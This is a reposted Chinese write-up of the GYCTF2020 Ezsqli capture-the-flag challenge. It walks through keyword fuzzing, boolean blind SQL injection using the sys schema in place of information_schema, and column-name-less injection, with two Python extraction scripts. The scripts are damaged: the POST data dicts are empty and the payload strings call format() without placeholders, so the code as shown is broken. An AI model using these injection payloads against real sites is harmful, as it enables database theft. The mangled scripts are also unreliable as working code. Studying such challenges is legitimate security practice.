BUU[GYCTF2020]Ezsqli1

Posted joker-yan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU[GYCTF2020]Ezsqli1相关的知识,希望对你有一定的参考价值。

文章目录


知识点

布尔盲注以及无列名注入


提示:以下是本篇文章正文内容,下面案例可供参考

一、布尔盲注

在提交部分输入值上传,抓包查看

 修改POST传参id的部分值为其他值后

这里就判断出大致使用BOOL盲注来注入

 简单的写一段万能SQL语句后

下一步使用字典去fuzz一下,查看有哪些关键词被过滤

查看后发现诸如:or、and、union、information_schema......被过滤了 

 下一步开始编写python脚本来解决:(附上代码)

注意:这里由于之前fuzz的时候发现information_schema被过滤了,考虑使用其他的关键词,如:这里的sys.schema_table_statistics_with_buffer

先获取表名:

由于BUU上不允许出现频繁地访问网站,所以使用了time函数来进行延时(测试很多次发现time=0.5的时候比较好,既不会发现错误反馈,也不至于太慢),而且使用简单的二分法进行字符匹配。

import requests
import time

url='http://02ae94bd-22a9-48e9-b56e-b481bfb354e9.node4.buuoj.cn/index.php'

post_d=

def post_text(string):
    return requests.post(url=url,data=string).text

tables_name=''     #可能网站不稳定,所以有时候运行结果会不一样  
for i in range(200):
    low = 32
    high = 128
    mid = (low+high)//2
    while low<high:
            
 payload_tables='2^(ascii(substr((select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema)=database()),0,1))<1)'.format(i+1,mid)
        post_d['id']=payload_tables
        re=post_text(post_d)
        time.sleep(0.5)
        if "Error" in re: 
            high = mid
        else:
            low = mid+1
        mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
    tables_name += chr(mid-1)
    print("tablename is -> "+tables_name)
  

得到了两个表名:users233333333333333,f1ag_1s_h3r3_hhhhh

二、无列名注入

1.知识点

这里附上一篇更加详细的,关于无列名注入的文章

https://zhuanlan.zhihu.com/p/98206699

这里就不再做叙述了~摸了摸了

2.实现方式

代码如下:

import requests
import time

def post_text(string):
    return requests.post(url=url,data=string).text

def get_flag(char,value):
    return value+char

url='http://c87a7435-bd7b-47b3-ab95-5723ccc9b527.node4.buuoj.cn/index.php'
post_d=
value=''   #无列名注入使用
for i in range(1000):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        
        payload='2||((select * from f1ag_1s_h3r3_hhhhh)<(select 1,""))'.format(get_flag(chr(mid),value))
        #print(payload)
        post_d['id']=payload
        re=post_text(post_d)

        time.sleep(0.5)
        if "Nu" in re: 
            high = mid
        else:
            low = mid+1
        mid=(low+high)//2
        if mid <= 32 or mid >= 127:
            break
        
    value += chr(mid-1)
    print("value is -> "+value)

最后获得表f1ag_1s_h3r3_hhhhh里面的值为:FLAG33BCFE9A-CB36-40CB-8DBF-83FDE938EBA8~

最后一个“”可能是网络问题,偶尔是好的~

修改后(要将大写改为小写提交)为:

flag33bcfe9a-cb36-40cb-8dbf-83fde938eba8


总结

假期还没开始,小学期做CPU是真的烦啊~,之后可能会将做好的CPU放到这里,留着以后回来看看~~

以上是关于BUU[GYCTF2020]Ezsqli1的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[GYCTF2020]Blacklist

[GYCTF2020]Blacklist&说说真心话

[GYCTF2020]Blacklist&说说真心话

buu刷题

GYCTF Web区部分WP

从[GYCTF2020]Blacklist] 学习到的 handler 语句